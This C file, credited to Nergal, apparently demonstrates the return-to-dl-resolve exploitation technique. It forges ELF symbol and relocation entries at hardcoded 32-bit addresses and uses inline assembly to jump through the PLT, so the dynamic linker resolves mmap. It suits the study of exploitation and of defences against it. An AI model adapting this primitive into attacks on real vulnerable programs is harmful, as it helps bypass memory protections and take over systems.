/* by Nergal */
#include <stdlib.h>
#include <elf.h>
#include <stdio.h>
#include <string.h> 

#define STRTAB 0x8048238
#define SYMTAB 0x8048188
#define JMPREL 0x80482fc
#define VERSYM 0x80482b4

#define PLT_SECTION "0x08048344"

void graceful_exit()
{
	printf("exit\n");
        exit(123);
}

void doit(int offset)
{
        int res;
	printf("here\n");
        __asm__ volatile (
            "pushl $0x01011000;"
            "pushl $0xffffffff;"
            "pushl $0x00000032;"
            "pushl $0x00000007;"
            "pushl $0x01011000;"
            "pushl $0xaa011000;"
            "pushl %%ebx;"
            "pushl %%eax;" 
            "pushl $" PLT_SECTION ";" 
            "ret;"
            :"=a"(res)
            :"0"(offset),
            "b"(graceful_exit)
        );

}

/* this must be global */
Elf32_Rel reloc; 

#define ANYTHING 0xfe
#define RQSIZE 6000000
int
main(int argc, char **argv)
{
        unsigned int reloc_offset;
        unsigned int real_index;
        char symbol_name[16];
        int dummy_writable_int;
        char *tmp = malloc(RQSIZE);
        Elf32_Sym *sym;
        unsigned short *null_short = (unsigned short*) tmp;
        
        /* create a null index into VERSYM */
        *null_short = 0;
        
        real_index = ((unsigned int) null_short - VERSYM) / sizeof(*null_short);
        sym = (Elf32_Sym *)(real_index * sizeof(*sym) + SYMTAB);
       /* if ((unsigned int) sym > (unsigned int) tmp + RQSIZE) {
                fprintf(stderr,
                    "mmap symbol entry is too far, increase RQSIZE\n");
                exit(1);
        }*/

        strcpy(symbol_name, "mmap");
        sym->st_name = (unsigned int) symbol_name - (unsigned int) STRTAB;
        sym->st_value = (unsigned int) &dummy_writable_int;
        sym->st_size = ANYTHING;
        sym->st_info = ANYTHING;
        sym->st_other = ANYTHING & ~3;
        sym->st_shndx = ANYTHING;
        reloc_offset = (unsigned int) (&reloc) - JMPREL;
        reloc.r_info = R_386_JMP_SLOT + real_index*256;
        reloc.r_offset = (unsigned int) &dummy_writable_int;

        doit(reloc_offset);
        printf("not reached\n");
        return 0;
}